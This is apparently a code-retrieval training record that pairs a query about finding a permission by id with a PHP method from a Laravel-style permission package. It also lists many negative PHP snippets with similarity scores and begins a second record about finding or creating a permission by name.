"0.45908853" ]
0.6396449
8
Find a permission by its id (and optionally guardName).
public static function findById(int $id, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermissions()->filter(function ($permission) use ($id, $guardName) { return $permission->id === $id && $permission->guard_name === $guardName; })->first(); if (! $permission) { throw PermissionDoesNotExist::withId($id, $guardName); } return $permission; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function find(int $id): Permission\n {\n return Permission::find($id);\n }", "public function find($id)\n {\n $query=\"SELECT permissionId,\".\n \"permissionName \". \t\t \n\t \"FROM permission \".\n\t \"WHERE permissionId=\".$id;\n\n return($this->selectDB($query, \"Permission\"));\n }", "public function getPermissionById($id)\n {\n $res = false;\n if (clsCommon::isInt($id) > 0) {\n $res = $this->em->getRepository('entities\\AclPermission')->find(clsCommon::isInt($id));\n }\n return $res;\n }", "public function find($id)\n {\n return response(Permission::findById($id),HTTP_OK);\n }", "public function findPermissionById($permissionId);", "public function getPermissionByRoleID($id);", "static function getPermissionById(string $id) {\n $db = new Database();\n return $db->getColumnValueWhere('users', 'permission', 'id', $id);\n }", "public function findPermission($permissionName);", "public static function mauth_find_by_id($id);", "public function findByName(string $name)\n {\n return Permission::whereName($name)->first();\n }", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "function fetchPermissionDetails($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id, name FROM permissions WHERE id = ? LIMIT 1\",array($id));\n\t$results = $query->first();\n\t$row = array('id' => $results->id, 'name' => $results->name);\n\treturn ($row);\n}", "public function hasPermission($id);", "public function hasPermission($id);", "public function show($id)\n {\n return $this->permissionService->show($id);\n }", "public function getPermission($id) {\n try {\n $objPermission = new Base_Model_ObtorLib_App_Core_Doc_Dao_Permission();\n $permission = $objPermission->getPermission($id);\n return $permission;\n } catch (Exception $e) {\n throw new Base_Model_ObtorLib_App_Core_Doc_Exception($e);\n }\n }", "public static function findByName($name) {\n $permission = static::where('name', $name)->first();\n\n if (!$permission) {\n throw new PermissionDoesNotExist();\n }\n\n return $permission;\n }", "public function getById($id = null) {\r\n if ($id) {\r\n $this->model->setId($id);\r\n }\r\n\r\n $data = $this->db->fetchRow(\"SELECT * FROM assets_permissions WHERE id = ?\", $this->model->getId());\r\n $this->assignVariablesToModel($data);\r\n }", "public function getPermission($id) {\n\t\t$group = AdminGroup::findOrFail($id);\n\t\t$resources = \\AdminResource::$resources;\n\t\t$currentPers = json_decode($group['permissions']);\n\t\t$this->layout->content = View::make('admin.groups.permission', array(\n\t\t\t\t\t'group' => $group,\n\t\t\t\t\t'resources' => $resources,\n\t\t\t\t\t'currentPers' => $currentPers\n\t\t));\n\t}", "public function getById(int $id)\n {\n if (!$found = cache($id . '_userPermissionById')) {\n $found = $this->objectManager->where(['id' => $id])->load()->getRow();\n cache()->save($id . '_userPermissionById', $found, 3600);\n }\n\n return $found;\n }", "public function findGuardById(int $id)\n {\n return $this->model->findOrFail($id);\n }", "public function find($id)\n\t{\n\t\treturn $this->auth->findOrFail($id);\n\t}", "public static function find($id);", "function fetchPermissionDetails($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT \n\t\tid,\n\t\tname\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->bind_result($id, $name);\n while ($stmt->fetch()) {\n $row = array('id' => $id, 'name' => $name);\n }\n $stmt->close();\n return ($row);\n}", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? config ('auth.defaults.guard');\n\n $permission = static::getPermissions()->where('name', $name)->where('guard_name', $guardName)->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public function HasPermission ($permissionName = NULL, $idPermission = NULL);", "public static function findById($id);", "function findMember($name,$id){\n\t\tif($name == null || strlen($name) == 0 || !$this->isValidStr($name)){\n\t\t\tthrow new Exception (\"Please enter a valid name.\");\n\t\t}elseif ($id == null || (!is_numeric($id))){\n\t\t\tthrow new Exception (\"Please enter a valid id.\");\n\t\t}else{\n\t\t\t//Find the member\n\t\t\t$members = $this->urlms->getLab_index(0)->getStaffMembers();\n\t\t\t$staffMember=null;\n\t\t\tfor ($i = 0; $i < sizeof($members); $i++){\n\t\t\t\tif($name == $members{$i}->getName() && $id == $members{$i}->getID()){\n\t\t\t\t\t$staffMember = $members{$i};\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($staffMember == null){\n\t\t\t\tthrow new Exception (\"Staff Member not found.\");\n\t\t\t}\n\t\t}\n\t\treturn $staffMember;\n\t}", "public function findByID($id) {\n $conn = new DBConnect();\n $dbObj = $conn->getDBConnect();\n $this->DAO = new SecurityDAO($dbObj);\n return $this->DAO->findByID($id);\n }", "public function getPermission($id) {\n \t$user_auth = Auth::user();\n if (!$user_auth) \n {\n return response()->json(['error'=>'Unauthorised'], 401);\n } \n\t\t if (tbl_permission::where('user_id', $id)->exists()) \n\t\t {\n\t\t \t $tbl_permission = tbl_permission::where('user_id', $id)->get()->first(); \n return response()->json(['success' => $tbl_permission], $this-> successStatus); \n\t\t \n\t\t } \n\t\t else \n\t\t {\n\t\t return response()->json([\"message\" => \"Menu not found\"], 404);\n\t\t \n\t\t }\n\t\t \t\n }", "function getAccessEntry($id);", "protected function findModel($id)\n {\n $auth = Configs::authManager();\n $item = $this->type === Item::TYPE_ROLE ? $auth->getRole($id) : $auth->getPermission($id);\n if ($item) {\n return new AuthItem($item);\n } else {\n $this->send($this->fail('数据不存在'));\n }\n }", "public static function findBySlug(string $slug, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($slug, $guardName) {\n return $permission->slug === $slug && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($slug, $guardName);\n }\n\n return $permission;\n }", "public function getPermission($permission);", "public function show($id)\n {\n if(Auth::check() && Auth::user()->hasPermission('permissions.show')) {\n\n if(empty($id) || ! is_numeric($id)) {\n return abort(404);\n }\n\n $permission = Permission::findOrFail($id);\n return response()->json($permission, 201);\n }\n\n return response(null, 401);\n }", "public function find($id = null) {\n $argument = $id?? $this->request->fetch('id')?? null;\n return $this->model->find($argument);\n }", "static function getPermission($name) {\n return static::getPermissions()->get($name);\n }", "public function getPermission($permission) {}", "public function getPermission($permission) {}", "function getbyid($id){\n\t\t$this->db->where ('id', $id, \"=\");\n\t\t$res = $this->db->getOne('admin');\n\t\treturn $res;\n\t}", "static public function find($id) {\n return static::getMapper()->find($id);\n }", "function fetchPermissionDetails($id)\r\n{\r\n\tglobal $mysqli,$db_table_prefix; \r\n\t$stmt = $mysqli->prepare(\"SELECT \r\n\t\tid,\r\n\t\tname\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\t\tWHERE\r\n\t\tid = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"i\", $id);\r\n\t$stmt->execute();\r\n\t$stmt->bind_result($id, $name);\r\n\twhile ($stmt->fetch()){\r\n\t\t$row = array('id' => $id, 'name' => $name);\r\n\t}\r\n\t$stmt->close();\r\n\treturn ($row);\r\n}", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "public function find($id);", "function permissionNameExists($permission) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id FROM permissions WHERE\n\tname = ?\",array($permission));\n\t$results = $query->results();\n}", "public function findOrFail($id)\n {\n $permission = $this->model->find($id);\n\n if (! $permission) {\n throw ValidationException::withMessages(['message' => trans('permission.could_not_find')]);\n }\n\n return $permission;\n }", "function permissionIdExists($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id FROM permissions WHERE id = ? LIMIT 1\",array($id));\n\t$num_returns = $query->count();\n\n\tif ($num_returns > 0) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "public static function findOrCreate(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n return static::create(['name' => $name, 'guard_name' => $guardName]);\n }\n\n return $permission;\n }", "public function getPermissionRoleByRoleID($id);", "public static function findById($id)\n\t{\n\t\n\t}", "public static function encontrarPorID($id)\n\t{\n\t\t// Crear una instancia de la conexion\n\t\t$conexion = new Conexion;\n\n\n\t\t// Consulta para la base de datos y despues lo guarda en la variable\n\t\t$resultado = $conexion->conn->query(\"SELECT * FROM \". static::$tablaConsulta . \" WHERE id = $id LIMIT 1\");\n\n\t\t// Guardar el rol encontrado por id en la variable\n\t\t$medioEncontrado = $resultado->fetch_assoc();\n\n\n\t\t// Crear un tipo de rol\n\t\t$medio = new MedioPago;\n\n\t\t// Añadir los campos al tipo de rol\n\t\t$medio->id \t = $medioEncontrado['id'];\n\t\t$medio->medio \t = $medioEncontrado['medio'];\n\n\t\t// Si se llama este metodo cambiara la variable de update, ya que cuando se utilice la funcion guardar(), hara un update\n\t\t$medio->update = true;\n\n\t\t// Devolver el rol solicitado\n\t\treturn $medio;\n\t}", "private static function fetchPermissions(int $id){\n $output = array();\n $conn = DataManager::getInstance()->getConnection();\n if(!$conn || $conn->connect_error) return null;\n $statement = $conn->prepare('SELECT `permission` FROM `group_permissions` WHERE `group` = ?');\n if(!$statement || !$statement->bind_param(\"i\", $id) || !$statement->execute()) return null;\n $result_set = $statement->get_result();\n while($row = $result_set->fetch_assoc()){\n array_push($output, $row['permission']);\n }\n return $output;\n }", "public static function findById($id)\n {\n }", "function permissionIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function show ($id) {\n permiss ( 'role.show' );\n\n $role = $this->entity->find($id);\n\n return $data = $this->orderPermissions($role, $role);\n }", "public static function findIdentity($id);", "public function show($id)\n {\n $permission = Permission::FindOrFail($id);\n return view('permissions.show_permission', compact('permission'));\n }", "public function planFind($id);", "public function findById ($id);", "public function find($id)\n\t{\n // return $this->user->where('id', $id)->first();\n\t}", "public function permission($permission)\n {\n if (is_numeric($permission)) {\n return $this->permissionModel->find((int) $permission);\n }\n\n return $this->permissionModel->like('name', $permission, 'none', null, true)->first();\n }", "abstract public function find($id);", "public static function get_permission_by_id($permission_id)\n {\n global $DB;\n $permission = $DB->get_record('permissions', ['id' => $permission_id]);\n return $permission;\n }", "public function show($id)\n {\n $permission = Permission::findOrFail($id);\n\n $permission = new PermissionResource($permission);\n\n return $this->sendResponse(trans('response.success_permission_show'), $permission);\n }", "public function find( $id );", "public function find($id) {\n\t\treturn $this->academic_session->find($id);\n\t}", "public function let_permission($id){\n\t\t/*\n\t\t * Genero un arrai contentente gli id dei moduli dei permessi di questa classe\n\t\t */\n\t\t$id_modul=\"\";\n\t\t$q = new Query();\n\t\t$q->fields = array(\"id,modul\");\n\t\t$q->tables = array(\"tbl_moduls\");\n\t\t$q->filters = \"( modul like '\" . $this->classname . \"%' )\";\n\t\t$q->sortfields = array(\"id\");\n\t\tif ($q->Open()){\n\t\t\twhile($row = $q->GetNextRecord()){\n\t\t\t\t$id_modul[$row[0]]=$row[1];\n\t\t\t}\n\t\t}\n\t\t$q->Close();\n\n\t\t/*\n\t\t * Genera un array con i permessi relativi alla classe specificata ciclando sugli id\n\t\t */\n\n\t\tforeach($id_modul as $key => $value){\n\t\t\t$permission[$value] = $this->oUt->fArrayPermission($this->let_id_sito(),$value,$id,$this->oUt->id, 'pgdb', 'id_sito', 'id', 'IDUt');\n\t\t}\n\t\t$this->aPermission=$permission;\n\t\treturn $permission;\n\t}", "public function edit($id)\n {\n $Permission = Permission::where(\"id\" , $id)->get();\n if($Permission){\n return $this->returnOnSuccessWithData(\"data\" , $Permission,\"Permission Retrieved Successfully\" , true );\n }\n return $this->returnOnError(\"failed to retrieve Permission\" , false , \"P001\");\n }", "function findById($id);", "public function show($id) {\n\t\tif(!(Entrust::hasRole(['support', 'admin']) || Entrust::can('permission.view'))) return redirect()->route('home');\n\n\t\t// using an implementation of the Permission Repository Interface\n\t\t$permission = $this->permissionRepository->find($id);\n\n\t\t//dd(__METHOD__.'('.__LINE__.')',compact('permission'));\n\t\treturn view('pages.permission.show', compact('permission'));\n\t}", "public function lookup($scoId, $principalId) {\n\t\treturn $this->find(\"permissions\", array('acl-id' => $scoId, 'principal-id' => $principalId));\n\t}", "public function show($id) {\n return redirect()->route('permissions.index');\n }", "public static function find($id) {\n return parent::find(__CLASS__, $id);\n }", "public function get_permissions($id = '')\r\n {\r\n if (is_numeric($id)) {\r\n $this->db->where('permissionid', $id);\r\n return $this->db->get('tblpermissions')->row();\r\n }\r\n $this->db->order_by('name', 'asc');\r\n return $this->db->get('tblpermissions')->result_array();\r\n }", "public function find($id)\n {\n return QueryBuilder::for($this->user)\n ->allowedFields($this->user->getFillable())\n ->allowedIncludes($this->user->getRelations())\n ->findOrFail($id);\n }", "public static function findById($id){\n \t$data = self::find($id);\n \tif (!$data) {\n \t\tabort(404);\n \t}\n \treturn $data;\n }", "public static function findById($id){\n \t$data = self::find($id);\n \tif (!$data) {\n \t\tabort(404);\n \t}\n \treturn $data;\n }", "public static function findById($id){\n \t$data = self::find($id);\n \tif (!$data) {\n \t\tabort(404);\n \t}\n \treturn $data;\n }", "public function whereId(string $id): object;" ]
[ "0.69885206", "0.6963658", "0.66358477", "0.6586047", "0.65043515", "0.64890885", "0.6475716", "0.6470525", "0.628459", "0.6245211", "0.6117025", "0.6091353", "0.604976", "0.604976", "0.6048455", "0.6019514", "0.5989102", "0.59627235", "0.59418887", "0.59362066", "0.58872694", "0.5846516", "0.5834108", "0.580206", "0.5769084", "0.5736984", "0.5735996", "0.57254803", "0.5697763", "0.5672243", "0.5605663", "0.5605244", "0.55524296", "0.553525", "0.5531731", "0.5523659", "0.5496135", "0.54827774", "0.54827774", "0.54817134", "0.54795635", "0.54512894", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444284", "0.5444077", "0.54423195", "0.5440019", "0.543143", "0.5412469", "0.5408907", "0.54056716", "0.53987885", "0.53955626", "0.53844494", "0.5381267", "0.53527164", "0.53371495", "0.5318787", "0.5307076", "0.5304301", "0.5281709", "0.5280274", "0.5279706", "0.52789426", "0.5267897", "0.5265685", "0.525659", "0.5255063", "0.5251724", "0.524734", "0.52473366", "0.5243339", "0.5231848", "0.52315587", "0.52181894", "0.5194817", "0.5194817", "0.5194817", "0.51926255" ]
0.76510143
0
Find or create permission by its name (and optionally guardName).
public static function findOrCreate(string $name, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) { return $permission->name === $name && $permission->guard_name === $guardName; })->first(); if (! $permission) { return static::create(['name' => $name, 'guard_name' => $guardName]); } return $permission; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? config ('auth.defaults.guard');\n\n $permission = static::getPermissions()->where('name', $name)->where('guard_name', $guardName)->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public function create($permissionName, $readableName = null);", "public function findPermission($permissionName);", "public static function findByName($name) {\n $permission = static::where('name', $name)->first();\n\n if (!$permission) {\n throw new PermissionDoesNotExist();\n }\n\n return $permission;\n }", "public static function findById(int $id, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($id, $guardName) {\n return $permission->id === $id && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::withId($id, $guardName);\n }\n\n return $permission;\n }", "public static function findBySlug(string $slug, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($slug, $guardName) {\n return $permission->slug === $slug && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($slug, $guardName);\n }\n\n return $permission;\n }", "public function findByName(string $name)\n {\n return Permission::whereName($name)->first();\n }", "function addPermission( $name ) {\n $d = loadDB();\n \n $found = false;\n $highestID = 0;\n foreach ($d['permissions'] as $perm) {\n if ($name == $perm['name']) {\n $found = true;\n }\n if ($perm['id'] > $highestID)\n $highestID = $perm['id'];\n }\n $highestID++;\n if (!$found) {\n array_push( $d['permissions'], array( \"name\" => $name, \"id\" => $highestID ) );\n saveDB( $d );\n audit( \"addPermission\", $name );\n } else {\n $highestID = -1; // indicate error\n }\n return $highestID;\n }", "public function permissionExists($permissionName);", "static function getPermission($name) {\n return static::getPermissions()->get($name);\n }", "public function storePermission($request)\n {\n try {\n $data = [\n 'module_id' => $request->module_id,\n 'name' => $request->name,\n 'description' => $request->description,\n 'guard_name' => 'web',\n ];\n \n $permission = Permission::create($data);\n if ($permission->exists) {\n return true;\n } else {\n return false;\n }\n } catch(\\Exception $err){\n Log::error('message error in storePermission on RoleRepository :'. $err->getMessage());\n return back()->with('error', $err->getMessage());\n }\n}", "public function AddPermission ($permissionName = NULL, $idPermission = NULL);", "public function addPermissionByName($name, $con = null)\r\n {\r\n return $this->getGuardUser()->addPermissionByName($name, $con);\r\n }", "public function createPermission($names)\n {\n if (!is_array($names)) {\n $names = [$names];\n }\n\n foreach ($names as $name) {\n $permission = Permission::create(compact('name'));\n $this->permissions()->attach($permission, ['has_access' => true]);\n }\n }", "public function addPermissionByName($name, $con = null) {\n return $this->getGuardUser()->addPermissionByName($name, $con);\n }", "function createPermission($permission) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"INSERT INTO \" . $db_table_prefix . \"permissions (\n\t\tname\n\t\t)\n\t\tVALUES (\n\t\t?\n\t\t)\");\n $stmt->bind_param(\"s\", $permission);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public static function chanteGuardWithPrefix($prefix = 'api-', $guard = 'api')\n {\n return Permission::where('name', 'like', $prefix . '%')->update(['guard_name' => $guard]);\n }", "public static function can($permissionName, $params = []){\n\n\n }", "function permissionNameExists($permission) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id FROM permissions WHERE\n\tname = ?\",array($permission));\n\t$results = $query->results();\n}", "private function permissionInstance()\n\t{\n\t\treturn new PermissionMaker();\n\t}", "public function HasPermission ($permissionName = NULL, $idPermission = NULL);", "function permission_first_or_create($permission)\n {\n try {\n return Permission::create(['name' => $permission]);\n } catch (PermissionAlreadyExists $e) {\n return Permission::findByName($permission);\n }\n }", "public function create(array $data): Permission\n {\n return Permission::create($data);\n }", "public function canCreate(string $name) : bool;", "public function create()\n {\n return $this->permissionService->create();\n }", "public function givePermission($permission);", "public function givePermission($permission);", "public function createPermission($name, $slug = null)\n {\n\n if (!is_null($this->findByName($name))) {\n throw new PermissionExistsException('The permission ' . $name . ' already exists'); // TODO: add translation support\n }\n\n // Do we have a display_name set?\n $slug = is_null($slug) ? $name : $slug;\n\n return $permission = $this->model->create([\n 'name' => $name,\n 'slug' => $slug,\n ]);\n }", "public function create()\n\t{\n\t\t//Permissions are created via code\n\t}", "public function create(array $input)\n {\n Validator::make($input, [\n 'name' => ['required', 'string', 'max:64'],\n 'group' => ['nullable', 'string', 'max:64'],\n 'slug' => ['required', 'unique:permissions', 'string', 'max:64'],\n ])->validateWithBag('createPermission');\n\n return Permission::create([\n 'name' => $input['name'],\n 'group' => $input['group'],\n 'slug' => Str::snake($input['slug']),\n ]);\n }", "public function hasPermission($name)\r\n {\r\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\r\n }", "public function store(Request $request)\n {\n if(Auth::check() && Auth::user()->hasPermission('permissions.create')) {\n\n $request->validate([\n 'name' => 'required|unique:permissions'\n ]);\n\n $permission = RolePerms::createPermission($request->name);\n\n if($permission !== null) {\n return response()->json($permission, 201);\n } else {\n return response(null, 422);\n }\n }\n\n return response(null, 401);\n }", "function permissionNameExists($permission) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tname = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $permission);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function createPermission(array $data = []): Permission\n {\n return new Permission($data);\n }", "public function create_permission($permission_name, $permission_text)\n\t{\n\t\tglobal $gCms;\n\t\t$db = cms_db();\n\n\t\ttry\n\t\t{\n\t\t\t$query = \"SELECT permission_id FROM \".cms_db_prefix().\"permissions WHERE permission_name = ?\";\n\t\t\t$count = $db->GetOne($query, array($permission_name));\n\n\t\t\tif (intval($count) == 0)\n\t\t\t{\n\t\t\t\t$new_id = $db->GenID(cms_db_prefix().\"permissions_seq\");\n\t\t\t\t$time = $db->DBTimeStamp(time());\n\t\t\t\t$query = \"INSERT INTO \".cms_db_prefix().\"permissions (id, permission_name, permission_text, create_date, modified_date) VALUES (?,?,?,\".$time.\",\".$time.\")\";\n\t\t\t\t$db->Execute($query, array($new_id, $permission_name, $permission_text));\n\t\t\t}\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t//trigger_error(\"Could not run CreatePermission\", E_WARNING);\n\t\t}\n\t}", "public function run()\n {\n Permission::create([\n 'name' => 'company',\n 'guard_name' => 'web',\n ]);\n\n Permission::create([\n 'name' => 'customer',\n 'guard_name' => 'web',\n ]);\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => 'required|string|max:255',\n ]);\n\n //$permission->assignRole($role);\n\n $permission = Permission::create(['name' => $request->name]);\n \n foreach($request->role as $role){\n $permission->assignRole($role);\n }\n return $permission;\n }", "function updatePermissionName($id, $name) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"UPDATE \" . $db_table_prefix . \"permissions\n\t\tSET name = ?\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"si\", $name, $id);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public function attachPermission($names)\n {\n if (!is_array($names)) {\n $names = [$names];\n }\n\n $permissionIds = Permission::whereIn('name', $names)->pluck('id')->toArray();\n $this->permissions()->attach(array_fill_keys($permissionIds, ['has_access' => true]));\n }", "public static function get_permission_by_name($permission_name)\n {\n global $DB;\n $permission = $DB->get_record('permissions', ['name' => $permission_name]);\n return $permission;\n }", "function createPermission($permission) {\r\n\tglobal $mysqli,$db_table_prefix; \r\n\t$stmt = $mysqli->prepare(\"INSERT INTO \".$db_table_prefix.\"permissions (\r\n\t\tname\r\n\t\t)\r\n\t\tVALUES (\r\n\t\t?\r\n\t\t)\");\r\n\t$stmt->bind_param(\"s\", $permission);\r\n\t$result = $stmt->execute();\r\n\t$stmt->close();\t\r\n\treturn $result;\r\n}", "public function add_permission( $name, $description ){\n\t\t$name = mb_trim( $name );\n\t\tif ( mb_ereg_match( '$[a-z0-9_]{1,50}^', $name ))\n\t\t\treturn $this->driver->add_permission( $name, $description );\n\t\telse \n\t\t\tthrow new \\Acl\\Exception( '\\Acl\\Control::add_permission : Incorrect permission name. Permission name must contain only small latin characters, digits and \"_\" symbol' );\n\t}", "public function create($name);", "public function permission($permission);", "public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => ['required', 'string','unique:permissions'],\n 'slug' => ['string','unique:permissions'],\n 'module_id'=>['required'],\n ]);\n\n Permission::create([\n 'name' =>$request->name,\n 'module_id'=>$request->module_id,\n 'slug' =>$request->slug ?? Str::slug($request->name),\n ]);\n\n return redirect()->route('permissions.index');\n }", "public function store(Request $request)\n {\n $rules = ['name' => 'required|unique:permissions,name'];\n\n $validator = Validator::make($request->all(), $rules);\n\n if ($validator->fails()) {\n $data['message'] = [$validator->errors()];\n $statusCode = 422;\n } else {\n\n $name = $request->name;\n $permission = new Permission();\n $permission->name = $name;\n\n $roles = $request->roles;\n \n if ($permission->save()) {\n\n if (!empty($request->roles)) {\n foreach ($roles as $role) {\n $r = $this->role->where('id', '=', $role)->firstOrFail(); //Match input role to db record\n\n $permission = $this->permission->where('name', '=', $name)->first(); \n $r->givePermissionTo($permission);\n }\n }\n $data['message'] = Config::get('app_messages.SuccessCreatePermission');\n $statusCode = 200;\n } else {\n $data['message'] = Config::get('app_messages.SomethingWentWrong');\n $statusCode = 400;\n }\n }\n return Response::json(['data' => $data], $statusCode);\n }", "public static function createPermission($name, $description){\n $auth = Yii::$app->authManager;\n\n $new_permission = $auth->createPermission($name);\n $new_permission->description = $description;\n\n $auth->add($new_permission);\n }", "public function firstOrCreate(array $data): Permission\n {\n return $this->firstOrCreate($data);\n }", "function updatePermissionName($id, $name) {\n\t$db = DB::getInstance();\n\t$fields=array('name'=>$name);\n\t$db->update('permissions',$id,$fields);\n}", "public function hasPermission($name) {\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\n }", "public function store()\n {\n $rules = array(\n 'name' => 'required'\n );\n\n $validator = Validator::make(Input::all(), $rules);\n\n if ($validator->fails()) {\n return Redirect::to('/admin/permission/create')\n ->withErrors($validator);\n } else {\n\n $permission = Permission::where('name',Input::get('name'))->select('name')->first();\n\n if($permission == null){\n Permission::create(['name'=>Input::get('name')]);\n return Redirect::to('/admin/permission/');\n }else{\n return Redirect::to('/admin/permission/create')\n ->withErrors('Already Exist');\n }\n }\n }", "public function createPermission(string $name, string $description = '')\n {\n $data = [\n 'name' => $name,\n 'description' => $description,\n ];\n\n $validation = service('validation', null, false);\n $validation->setRules([\n 'name' => 'required|max_length[255]|is_unique[auth_permissions.name]',\n 'description' => 'max_length[255]',\n ]);\n\n if (! $validation->run($data)) {\n $this->error = $validation->getErrors();\n\n return false;\n }\n\n $id = $this->permissionModel->skipValidation()->insert($data);\n\n if (is_numeric($id)) {\n return (int) $id;\n }\n\n $this->error = $this->permissionModel->errors();\n\n return false;\n }", "public function store(CreatePermissionRequest $request)\n {\n Permission::create([\n 'name' => str_slug($request->input('display_name'), '-'),\n 'display_name' => $request->input('display_name'),\n 'description' => $request->input('description')\n ]);\n\n flash()->success('Success');\n\n return redirect('admin/permissions');\n }", "public function save(Request $request)\n {\n //validates data\n $validator = Validator::make(\n $request->all(),\n [\n 'name' => 'bail|required',\n ]\n );\n //on validation failure\n if ($validator->fails()) {\n return response()->json(array(\"validations\"=>false));\n } else {\n $inputPermissionName = urldecode($request->name);\n //check if permission already exist\n $checkPermission = Permission::where('name', $inputPermissionName)->count();\n if ($checkPermission==0) {\n $permission = new Permission();\n $permission->name = $inputPermissionName;\n $permission->save();\n $permissions = Permission::get();\n return response()->json(array(\"validations\"=>true,\"permissions\"=>$permissions,\"action\"=>true));\n } else {\n return response()->json(array(\"validations\"=>true,\"data\"=>\"\",\"action\"=>false));\n }\n }\n }", "public function addPermission(){\n\t\t\n\t\t\n\t\t$role = $this->checkExist();\n\t\tif($role === false){\n\t\t\treturn \"Role doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$PC = new PermissionController(array(\"id\"=>$this->_params[\"permissionId\"], \"permission\"=>$this->_params[\"permissionName\"]));\n\t\t$permission = $PC->checkExist();\n\t\tif($permission===false){\n\t\t\treturn \"Permission doesn't exist <br>\";\n\t\t}\n\t\t\n\t\t$RP = new RolePermission($role->_id, $permission->_id);\n\t\t\n\t\t$check = $RP->findInDB();\n\t\t\n\t\tif($check != false){\n\t\t\treturn(\"This role already has this permission. <br>\");\n\t\t}\n\t\t\n\t\t$RP->create();\n\t\treturn true;\n\t}", "public function store(StorePermissionRequest $request)\n {\n if (Auth::user()->ability('superadministrator', 'create-permissions')){\n //insert into database\n $permission=new Permission();\n $permission->name=$request->input('name');\n $permission->display_name=$request->input('display_name');\n $permission->description=$request->input('description');\n 